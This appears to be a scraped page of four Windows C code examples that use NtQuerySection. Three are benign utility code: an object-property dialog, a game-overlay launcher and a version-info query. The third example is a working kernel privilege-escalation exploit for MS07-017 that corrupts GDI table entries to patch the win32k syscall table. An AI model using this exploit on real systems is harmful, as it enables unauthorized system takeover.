Esempio n. 1
0
/*
* propBasicQuerySection
*
* Purpose:
*
* Set information values for Section object type
*
* If ExtendedInfoAvailable is FALSE then it calls propSetDefaultInfo to set Basic page properties
*
*/
VOID propBasicQuerySection(
    _In_ PROP_OBJECT_INFO *Context,
    _In_ HWND hwndDlg,
    _In_ BOOL ExtendedInfoAvailable
)
{
    BOOL      bSet;
    NTSTATUS  status;
    HANDLE    hObject;
    SIZE_T    bytesNeeded;
    LPWSTR    lpType;
    RECT      rGB;
    WCHAR     szBuffer[MAX_PATH * 2];

    SECTION_BASIC_INFORMATION sbi;
    SECTION_IMAGE_INFORMATION sii;

    SetDlgItemText(hwndDlg, ID_SECTION_ATTR, T_CannotQuery);
    SetDlgItemText(hwndDlg, ID_SECTIONSIZE, T_CannotQuery);

    if (Context == NULL) {
        return;
    }

    //
    // Open Section object.
    //
    hObject = NULL;
    if (!propOpenCurrentObject(Context, &hObject, SECTION_QUERY)) {
        return;
    }

    //this is for specific mars warning, mars doesn't recognize __stosb intrinsics
    szBuffer[0] = 0;

    //query basic information
    RtlSecureZeroMemory(&sbi, sizeof(SECTION_BASIC_INFORMATION));
    status = NtQuerySection(hObject, SectionBasicInformation, &sbi,
        sizeof(SECTION_BASIC_INFORMATION), &bytesNeeded);

    if (NT_SUCCESS(status)) {

        bSet = FALSE;
        RtlSecureZeroMemory(&szBuffer, sizeof(szBuffer));
        if (sbi.AllocationAttributes & SEC_BASED) {
            _strcat(szBuffer, TEXT("Based"));
            bSet = TRUE;
        }
        if (sbi.AllocationAttributes & SEC_NO_CHANGE) {
            if (bSet) _strcat(szBuffer, TEXT(" + "));
            _strcat(szBuffer, TEXT("NoChange"));
            bSet = TRUE;
        }
        if (sbi.AllocationAttributes & SEC_FILE) {
            if (bSet) _strcat(szBuffer, TEXT(" + "));
            _strcat(szBuffer, TEXT("File"));
            bSet = TRUE;
        }
        if (sbi.AllocationAttributes & SEC_IMAGE) {
            if (bSet) _strcat(szBuffer, TEXT(" + "));
            _strcat(szBuffer, TEXT("Image"));
            bSet = TRUE;
        }
        if (sbi.AllocationAttributes & SEC_RESERVE) {
            if (bSet) _strcat(szBuffer, TEXT(" + "));
            _strcat(szBuffer, TEXT("Reserve"));
            bSet = TRUE;
        }
        if (sbi.AllocationAttributes & SEC_COMMIT) {
            if (bSet) _strcat(szBuffer, TEXT(" + "));
            _strcat(szBuffer, TEXT("Commit"));
            bSet = TRUE;
        }
        if (sbi.AllocationAttributes & SEC_NOCACHE) {
            if (bSet) _strcat(szBuffer, TEXT(" + "));
            _strcat(szBuffer, TEXT("NoCache"));
            bSet = TRUE;
        }
        if (sbi.AllocationAttributes & SEC_GLOBAL) {
            if (bSet) _strcat(szBuffer, TEXT(" + "));
            _strcat(szBuffer, TEXT("Global"));
            bSet = TRUE;
        }
        if (sbi.AllocationAttributes & SEC_LARGE_PAGES) {
            if (bSet) _strcat(szBuffer, TEXT(" + "));
            _strcat(szBuffer, TEXT("LargePages"));
        }
        SetDlgItemText(hwndDlg, ID_SECTION_ATTR, szBuffer);

        //Size
        RtlSecureZeroMemory(&szBuffer, sizeof(szBuffer));
        wsprintf(szBuffer, TEXT("0x%I64X"), sbi.MaximumSize.QuadPart);
        SetDlgItemText(hwndDlg, ID_SECTIONSIZE, szBuffer);

        //query image information
        if ((sbi.AllocationAttributes & SEC_IMAGE) && (sbi.AllocationAttributes & SEC_FILE)) {

            RtlSecureZeroMemory(&sii, sizeof(SECTION_IMAGE_INFORMATION));
            status = NtQuerySection(hObject, SectionImageInformation, &sii,
                sizeof(SECTION_IMAGE_INFORMATION), &bytesNeeded);

            if (NT_SUCCESS(status)) {

                //show hidden controls
                if (GetWindowRect(GetDlgItem(hwndDlg, ID_IMAGEINFO), &rGB)) {
                    EnumChildWindows(hwndDlg, supEnumEnableChildWindows, (LPARAM)&rGB);
                }

                //Entry			
                RtlSecureZeroMemory(&szBuffer, sizeof(szBuffer));
                wsprintf(szBuffer, TEXT("0x%I64X"), (ULONG_PTR)sii.TransferAddress);
                SetDlgItemText(hwndDlg, ID_IMAGE_ENTRY, szBuffer);

                //Stack Reserve
                RtlSecureZeroMemory(&szBuffer, sizeof(szBuffer));
                wsprintf(szBuffer, TEXT("0x%I64X"), sii.MaximumStackSize);
                SetDlgItemText(hwndDlg, ID_IMAGE_STACKRESERVE, szBuffer);

                //Stack Commit
                RtlSecureZeroMemory(&szBuffer, sizeof(szBuffer));
                wsprintf(szBuffer, TEXT("0x%I64X"), sii.CommittedStackSize);
                SetDlgItemText(hwndDlg, ID_IMAGE_STACKCOMMIT, szBuffer);

                //Executable			
                SetDlgItemText(hwndDlg, ID_IMAGE_EXECUTABLE,
                    (sii.ImageContainsCode) ? TEXT("Yes") : TEXT("No"));

                //Subsystem
                lpType = TEXT("Unknown");
                switch (sii.SubSystemType) {
                case IMAGE_SUBSYSTEM_NATIVE:
                    lpType = TEXT("Native");
                    break;
                case IMAGE_SUBSYSTEM_WINDOWS_GUI:
                    lpType = TEXT("Windows GUI");
                    break;
                case IMAGE_SUBSYSTEM_WINDOWS_CUI:
                    lpType = TEXT("Windows Console");
                    break;
                case IMAGE_SUBSYSTEM_OS2_CUI:
                    lpType = TEXT("OS/2 Console");
                    break;
                case IMAGE_SUBSYSTEM_POSIX_CUI:
                    lpType = TEXT("Posix Console");
                    break;
                case IMAGE_SUBSYSTEM_XBOX:
                    lpType = TEXT("XBox");
                    break;
                case IMAGE_SUBSYSTEM_EFI_APPLICATION:
                    lpType = TEXT("EFI Application");
                    break;
                case IMAGE_SUBSYSTEM_EFI_BOOT_SERVICE_DRIVER:
                    lpType = TEXT("EFI Boot Service Driver");
                    break;
                case IMAGE_SUBSYSTEM_EFI_RUNTIME_DRIVER:
                    lpType = TEXT("EFI Runtime Driver");
                    break;
                case IMAGE_SUBSYSTEM_WINDOWS_BOOT_APPLICATION:
                    lpType = TEXT("Windows Boot Application");
                    break;
                }
                SetDlgItemText(hwndDlg, ID_IMAGE_SUBSYSTEM, lpType);

                //Major Version
                RtlSecureZeroMemory(&szBuffer, sizeof(szBuffer));
                ultostr(sii.SubSystemMajorVersion, _strend(szBuffer));
                SetDlgItemText(hwndDlg, ID_IMAGE_MJV, szBuffer);

                //Minor Version
                RtlSecureZeroMemory(&szBuffer, sizeof(szBuffer));
                ultostr(sii.SubSystemMinorVersion, _strend(szBuffer));
                SetDlgItemText(hwndDlg, ID_IMAGE_MNV, szBuffer);
            }
        }
    }

    //
    // Query object basic and type info if needed.
    //
    if (ExtendedInfoAvailable == FALSE) {
        propSetDefaultInfo(Context, hwndDlg, hObject);
    }
    NtClose(hObject);
}
Esempio n. 2
0
INT32 __stdcall start( )
{
    HANDLE sectionHandle, *hMutex;
    HANDLE eventHandle;
    HANDLE threadHandle;
    DWORD sectionSize;
    MSG messages;
    OBJECT_ATTRIBUTES objAttrib = {0};
    PTEB threadEnvironmentBlock;
    UNICODE_STRING eventSource;
    LDR_DATA_TABLE_ENTRY *module;
    SECTION_BASIC_INFORMATION sectionInfo;
    LARGE_INTEGER newSectionSize;

    InitializeCRT();

    threadEnvironmentBlock = NtCurrentTeb();

    PushProcessId = threadEnvironmentBlock->ClientId.UniqueProcess;
    PushHeapHandle = threadEnvironmentBlock->ProcessEnvironmentBlock->ProcessHeap;
    PushSessionId = threadEnvironmentBlock->ProcessEnvironmentBlock->SessionId;

    // Check if already running
    hMutex = CreateMutexW(0, FALSE, L"PushOneInstance");

    if (threadEnvironmentBlock->LastErrorValue == ERROR_ALREADY_EXISTS
        || threadEnvironmentBlock->LastErrorValue == ERROR_ACCESS_DENIED)
    {
        MessageBoxW(0, L"Only one instance!", 0,0);
        ExitProcess(0);
    }


    //create image event
    eventHandle = NULL;

    UnicodeString_Init(&eventSource, L"Global\\" PUSH_IMAGE_EVENT_NAME);

    objAttrib.Length = sizeof(OBJECT_ATTRIBUTES);
    objAttrib.RootDirectory = BaseGetNamedObjectDirectory();
    objAttrib.ObjectName = &eventSource;
    objAttrib.Attributes = OBJ_OPENIF;
    objAttrib.SecurityDescriptor = NULL;
    objAttrib.SecurityQualityOfService = NULL;

    NtCreateEvent(&eventHandle, EVENT_ALL_ACCESS, &objAttrib, NotificationEvent, FALSE);

    // populate file name and path
    module = (LDR_DATA_TABLE_ENTRY*)threadEnvironmentBlock->ProcessEnvironmentBlock->Ldr->InLoadOrderModuleList.Flink;

    Memory_Copy(PushFilePath, module->FullDllName.Buffer, module->FullDllName.Length);

    PushFilePath[module->FullDllName.Length] = L'\0';

    // Start Driver.
    Driver_Extract();
    PushDriverLoaded = Driver_Load();

    //initialize instance
    PushInstance = Module_GetHandle(L"Push.exe");

    // Create interface
    MwCreateMainWindow();

    // Create section.
    sectionSize = sizeof(PUSH_SHARED_MEMORY) + OSD_GetSize();

    PushSharedMemory = (PUSH_SHARED_MEMORY*)Memory_MapViewOfSection(PUSH_SECTION_NAME, sectionSize, &sectionHandle);

    if (!PushSharedMemory)
    {
        Log(L"Could not create shared memory");
        return 0;
    }

    Log(L"Created section of size %i bytes", sectionSize);

    //zero struct
    Memory_Clear(PushSharedMemory, sizeof(PUSH_SHARED_MEMORY));

    //initialize window handle used by overlay
    //PushSharedMemory->WindowHandle = PushMainWindow->Handle;

    //initialize default font properties for overlay
    String_Copy(PushSharedMemory->FontName, L"Verdana");
    PushSharedMemory->FontBold = TRUE;

    if (File_Exists(PUSH_SETTINGS_FILE))
    {
        wchar_t *buffer;
        wchar_t marker;

        // Check if file is UTF-16LE.
        buffer = (WCHAR*) File_Load(PUSH_SETTINGS_FILE, NULL);
        marker = buffer[0];

        Memory_Free(buffer);

        if (marker == 0xFEFF)
            //is UTF-LE.
        {
            // Init settings from ini file.

            buffer = Memory_Allocate(100 * sizeof(WCHAR));

            Ini_GetString(L"Settings", L"FrameLimit", NULL, buffer, 5, L".\\" PUSH_SETTINGS_FILE);
            PushSharedMemory->FrameLimit = _wtoi(buffer);

            if (Ini_ReadBoolean(L"Settings", L"ThreadOptimization", FALSE, L".\\" PUSH_SETTINGS_FILE))
                PushSharedMemory->ThreadOptimization = TRUE;

            if (Ini_ReadBoolean(L"Settings", L"KeepFps", FALSE, L".\\" PUSH_SETTINGS_FILE))
                PushSharedMemory->KeepFps = TRUE;

            Ini_GetString(L"Settings", L"OverlayInterface", NULL, buffer, 5, L".\\" PUSH_SETTINGS_FILE);

            if (String_Compare(buffer, L"PURE") == 0)
                PushOverlayInterface = OVERLAY_INTERFACE_PURE;
            else if (String_Compare(buffer, L"RTSS") == 0)
                PushOverlayInterface = OVERLAY_INTERFACE_RTSS;

            Ini_GetString(L"Settings", L"KeyboardHookType", L"AUTO", buffer, 10, L".\\" PUSH_SETTINGS_FILE);

            if (String_Compare(buffer, L"AUTO") == 0)
            {
                PushSharedMemory->KeyboardHookType = KEYBOARD_HOOK_AUTO;
            }
            else if (String_Compare(buffer, L"SUBCLASS") == 0)
            {
                PushSharedMemory->KeyboardHookType = KEYBOARD_HOOK_SUBCLASS;
            }
            else if (String_Compare(buffer, L"MESSAGE") == 0)
            {
                PushSharedMemory->KeyboardHookType = KEYBOARD_HOOK_MESSAGE;
            }
            else if (String_Compare(buffer, L"KEYBOARD") == 0)
            {
                PushSharedMemory->KeyboardHookType = KEYBOARD_HOOK_KEYBOARD;
            }
            else if (String_Compare(buffer, L"DETOURS") == 0)
            {
                PushSharedMemory->KeyboardHookType = KEYBOARD_HOOK_DETOURS;
            }
            else if (String_Compare(buffer, L"RAW") == 0)
            {
                PushSharedMemory->KeyboardHookType = KEYBOARD_HOOK_RAW;
            }
            else
            {
                PushSharedMemory->KeyboardHookType = KEYBOARD_HOOK_AUTO;
            }

            Ini_GetString(L"Settings", L"EngineClockMax", NULL, buffer, 5, L".\\" PUSH_SETTINGS_FILE);
            PushSharedMemory->HarwareInformation.DisplayDevice.EngineOverclock = _wtoi(buffer);

            Ini_GetString(L"Settings", L"MemoryClockMax", NULL, buffer, 5, L".\\" PUSH_SETTINGS_FILE);
            PushSharedMemory->HarwareInformation.DisplayDevice.MemoryOverclock = _wtoi(buffer);

            Ini_GetString(L"Settings", L"ControllerTimeout", NULL, buffer, 5, L".\\" PUSH_SETTINGS_FILE);
            PushSharedMemory->ControllerTimeout = _wtoi(buffer);

            Ini_GetString(L"Settings", L"FontName", L"Verdana", buffer, 100, L".\\" PUSH_SETTINGS_FILE);
            String_Copy(PushSharedMemory->FontName, buffer);

            Memory_Free(buffer);

            if (Ini_ReadBoolean(L"Settings", L"FontBold", FALSE, L".\\" PUSH_SETTINGS_FILE))
                PushSharedMemory->FontBold = TRUE;
        }
        else
        {
            MessageBoxW(
                NULL,
                L"Settings file not UTF-16LE! "
                L"Resave the file as \"Unicode\" or Push won't read it!",
                L"Bad Settings file",
                NULL
                );
        }
    }

    if (!PushDriverLoaded)
    {
        wchar_t driverPath[260];

        Resource_Extract(L"DRIVERALT", L"WinRing0x64.sys");
        GetDriverPath(L"WinRing0x64.sys", driverPath);
        Wr0DriverLoaded = Wr0Initialize(driverPath);
    }

    //initialize HWInfo
    GetHardwareInfo();

    //initialize OSD items

    NtQuerySection(
        sectionHandle,
        SectionBasicInformation,
        &sectionInfo,
        sizeof(SECTION_BASIC_INFORMATION),
        NULL
        );

    newSectionSize.QuadPart = OSD_Initialize() + sizeof(PUSH_SHARED_MEMORY);

    if (newSectionSize.QuadPart > sectionInfo.MaximumSize.QuadPart)
    {
        Log(L"Shared memory too small!");
    }

    //Check for controllers/gamepads/bluetooth adapters
    //EnumerateDevices();

    // Check for running games
    Process_EnumProcesses(ProcessEnum);

    // Activate process monitoring
    if (PushDriverLoaded)
    {
        PushToggleProcessMonitoring(TRUE);
    }
    else
    {
        HANDLE overlayLib = NULL;
        void* prcAddress = 0;

        Resource_Extract(L"OVERLAY32", PUSH_LIB_NAME_32);

        overlayLib = Module_Load(L"overlay32.dll");
        prcAddress = Module_GetProcedureAddress(overlayLib, "InstallOverlayHook");

        if (prcAddress)
        {
            InstallOverlayHook = (TYPE_InstallOverlayHook)prcAddress;
            InstallOverlayHook();
        }
    }

    g_szPrevGame[5] = '\0';

    NtCreateThreadEx(
        &PushMonitorThreadHandle,
        THREAD_ALL_ACCESS,
        NULL,
        NtCurrentProcess(),
        &MonitorThread,
        NULL,
        NoThreadFlags,
        0, 0, 0,
        NULL
        );

    NtCreateThreadEx(
        &threadHandle,
        THREAD_ALL_ACCESS,
        NULL,
        NtCurrentProcess(),
        &PipeThread,
        NULL,
        NoThreadFlags,
        0, 0, 0,
        NULL
        );

    // Handle messages

    while(GetMessageW(&messages, 0,0,0))
    {
        TranslateMessage(&messages);

        DispatchMessageW(&messages);
    }

    ExitProcess(0);

    return 0;
}
Esempio n. 3
0
int main(int argc, char* argv[])
{
	ULONG i, PID, Status, Old;
	LPVOID lpMapAddress=NULL;
	HANDLE hMapFile=(HANDLE)0x10;
	GDITableEntry *gdiTable; 
	SECTION_BASIC_INFORMATION SBI;
	WORD Upr;
	ULONG Size=0x1000;
	PVOID Addr=(PVOID)0x2;
	
	printf("Windows GDI MS07-017 Local Privilege Escalation Exploit\nBy Ivanlef0u\n"
	"http://ivanlef0u.free.fr\n"
	"Be MAD!\n");
	
	//allocate memory at addresse 0x2
 	Status=NtAllocateVirtualMemory((HANDLE)-1, &Addr, 0, &Size, MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE); 
 	if(Status)
 		printf("Error with NtAllocateVirtualMemory : 0x%x\n", Status);
 	else
 		printf("Addr : 0x%x OKAY\n", Addr);	
	
	memcpy(Addr, Shellcode, sizeof(Shellcode)); 
	


 	printf("win32.sys base : 0x%x\n", GetWin32kBase());
	
	ULONG Win32kSST=GetWin32kBase()+0x198300; //range between win32k imagebase and it's SSDT
	printf("SSDT entry : 0x%x\n", Win32kSST); //win32k!NtGdiAbortDoc
	
	
	
	HBRUSH hBr;
	hBr=CreateSolidBrush(0);

	Upr=(WORD)((DWORD)hBr>>16);
	printf("0x%x\n", Upr);

	while(!lpMapAddress)
	{
		hMapFile=(HANDLE)((ULONG)hMapFile+1);
		lpMapAddress=MapViewOfFile(hMapFile, FILE_MAP_ALL_ACCESS, 0, 0, 0);
	}

	if(lpMapAddress==NULL)
	{ 
		printf("Error with MapViewOfFile : %d\n", GetLastError()); 
		return 0;
	}

	Status=NtQuerySection(hMapFile, SectionBasicInformation, &SBI, sizeof(SECTION_BASIC_INFORMATION), 0);
	if (Status) //!=STATUS_SUCCESS (0)
	{
		printf("Error with NtQuerySection (SectionBasicInformation) : 0x%x\n", Status); 
		return 0;
	}

	printf("Handle value : %x\nMapped address : 0x%x\nSection size : 0x%x\n\n", hMapFile, lpMapAddress, SBI.Size.QuadPart);
	gdiTable=(GDITableEntry *)lpMapAddress;
	PID=GetCurrentProcessId();
	
	for (i=0; i<SBI.Size.QuadPart; i+=sizeof(GDITableEntry))
	{
		if(gdiTable->ProcessID==PID && gdiTable->nUpper==Upr) //only our GdiTable and brush
		{	

			printf("gdiTable : 0x%x\n", gdiTable);
			printf("pKernelInfo : 0x%x\n", gdiTable->pKernelInfo);
			printf("ProcessID : %d\n", gdiTable->ProcessID);
			printf("_nCount : %d\n", gdiTable->_nCount);
			printf("nUpper : 0x%x\n", gdiTable->nUpper);
			printf("nType : 0x%x\n", gdiTable->nType );
			printf("pUserInfo : 0x%x\n\n", gdiTable->pUserInfo);
			
			Old=gdiTable->pKernelInfo;
		
			gdiTable->pKernelInfo=(ULONG)buff; //crafted buff
			break;
		}
		gdiTable++;
	}

	if(!DeleteObject(hBr))
		printf("Error with DeleteObject : %d\n", GetLastError());
	else
		printf("Done\n");

	printf("Buff : 0x%x\n", buff);
	memset(buff, 0x90, sizeof(buff));
	
 	buff[0]=0x1; //!=0
 	buff[0x24/4]=Win32kSST; //syscall to modifY
	buff[0x4C/4]=0x804D7000; //kernel base, just for avoiding bad mem ptr

 	if(!DeleteObject(hBr))
		printf("Error with DeleteObject : %d\n", GetLastError());	
		
	gdiTable->pKernelInfo=Old; //restore old value
	
	/*	
	lkd> uf GDI32!NtGdiAbortDoc
	GDI32!NtGdiAbortDoc:
	77f3073a b800100000      mov     eax,1000h
	77f3073f ba0003fe7f      mov     edx,offset SharedUserData!SystemCallStub (7ffe0300)
	77f30744 ff12            call    dword ptr [edx]
	77f30746 c20400          ret     4
	*/

	__asm
	{
		mov eax, 0x1000
		mov edx,0x7ffe0300
		call dword ptr [edx]	
	}
	
	return 0;
}
Esempio n. 4
0
/*
* supQuerySectionFileInfo
*
* Purpose:
*
* Query section object type File + Image description from version info block
*
*/
BOOL supQuerySectionFileInfo(
	_In_opt_	HANDLE hRootDirectory,
	_In_		PUNICODE_STRING ObjectName,
	_Inout_		LPWSTR Buffer,
	_In_		DWORD ccBuffer //size of buffer in chars
	)
{
	HANDLE						hSection;
	PVOID						vinfo;
	LPWSTR						pcValue, lpszFileName, lpszKnownDlls;
	LPTRANSLATE					lpTranslate;
	SIZE_T						cLength = 0;
	NTSTATUS					status;
	DWORD						dwHandle = 0, dwSize, dwInfoSize;
	BOOL						bResult, cond = FALSE;
	OBJECT_ATTRIBUTES			Obja;
	SECTION_BASIC_INFORMATION	sbi;
	SECTION_IMAGE_INFORMATION	sii;
	WCHAR						szQueryBlock[MAX_PATH];

	bResult = FALSE;
	if (
		(ObjectName == NULL) ||
		(Buffer == NULL) ||
		(ccBuffer == 0)
		)
	{
		return bResult;
	}

	vinfo = NULL;
	lpszFileName = NULL;
	hSection = NULL;
	lpszKnownDlls = NULL;

	do {
		//oleaut32.dll does not have FileDescription

		//  open section with query access
		InitializeObjectAttributes(&Obja, ObjectName, OBJ_CASE_INSENSITIVE, hRootDirectory, NULL);
		status = NtOpenSection(&hSection, SECTION_QUERY, &Obja);
		if (!NT_SUCCESS(status))
			break;

		//  query section flags
		RtlSecureZeroMemory(&sbi, sizeof(sbi));
		status = NtQuerySection(hSection, SectionBasicInformation, (PVOID)&sbi, sizeof(sbi), &cLength);
		if (!NT_SUCCESS(status))
			break;

		//  check if section is SEC_IMAGE | SEC_FILE
		if (!((sbi.AllocationAttributes & SEC_IMAGE) && (sbi.AllocationAttributes & SEC_FILE)))
			break;

		// check image machine type
		RtlSecureZeroMemory(&sii, sizeof(sii));
		status = NtQuerySection(hSection, SectionImageInformation, (PVOID)&sii, sizeof(sii), &cLength);
		if (!NT_SUCCESS(status))
			break;

		// select proper decoded KnownDlls path
		if (sii.Machine == IMAGE_FILE_MACHINE_I386) {
			lpszKnownDlls = g_lpKnownDlls32;
		}
		else if (sii.Machine == IMAGE_FILE_MACHINE_AMD64) {
			lpszKnownDlls = g_lpKnownDlls64;
		}

		// paranoid
		if (lpszKnownDlls == NULL) {
			RtlSecureZeroMemory(szQueryBlock, sizeof(szQueryBlock));
			GetSystemDirectory(szQueryBlock, MAX_PATH);
			lpszKnownDlls = szQueryBlock;
		}

		// allocate memory buffer to store full filename
		// KnownDlls + \\ + Object->Name + \0 
		cLength = (_strlen(lpszKnownDlls) * sizeof(WCHAR)) +
			(_strlen(ObjectName->Buffer) * sizeof(WCHAR)) + 2 * sizeof(WCHAR);

		lpszFileName = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, cLength);
		if (lpszFileName == NULL)
			break;

		// construct target filepath
		_strcpy(lpszFileName, lpszKnownDlls);
		_strcat(lpszFileName, L"\\");
		_strcat(lpszFileName, ObjectName->Buffer);

		// query size of version info
		dwSize = GetFileVersionInfoSize(lpszFileName, &dwHandle);
		if (dwSize == 0)
			break;

		// allocate memory for version_info structure
		vinfo = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwSize);
		if (vinfo == NULL)
			break;

		// query it from file
		if (!GetFileVersionInfo(lpszFileName, 0, dwSize, vinfo))
			break;

		// query codepage and language id info
		if (!VerQueryValue(vinfo, VERSION_TRANSLATION, &lpTranslate, (PUINT)&dwInfoSize))
			break;
		if (dwInfoSize == 0)
			break;

		// query filedescription from file with given codepage & language id
		RtlSecureZeroMemory(szQueryBlock, sizeof(szQueryBlock));
		wsprintf(szQueryBlock, VERSION_DESCRIPTION,
			lpTranslate[0].wLanguage, lpTranslate[0].wCodePage);
		
		// finally query pointer to version_info filedescription block data
		pcValue = NULL;
		dwInfoSize = 0;
		bResult = VerQueryValue(vinfo, szQueryBlock, &pcValue, (PUINT)&dwInfoSize);
		if (bResult) {
			_strncpy(Buffer, ccBuffer, pcValue, dwInfoSize);
		}

	} while (cond);

	if (hSection) NtClose(hSection);
	if (vinfo) HeapFree(GetProcessHeap(), 0, vinfo);
	if (lpszFileName) HeapFree(GetProcessHeap(), 0, lpszFileName);
	return bResult;
}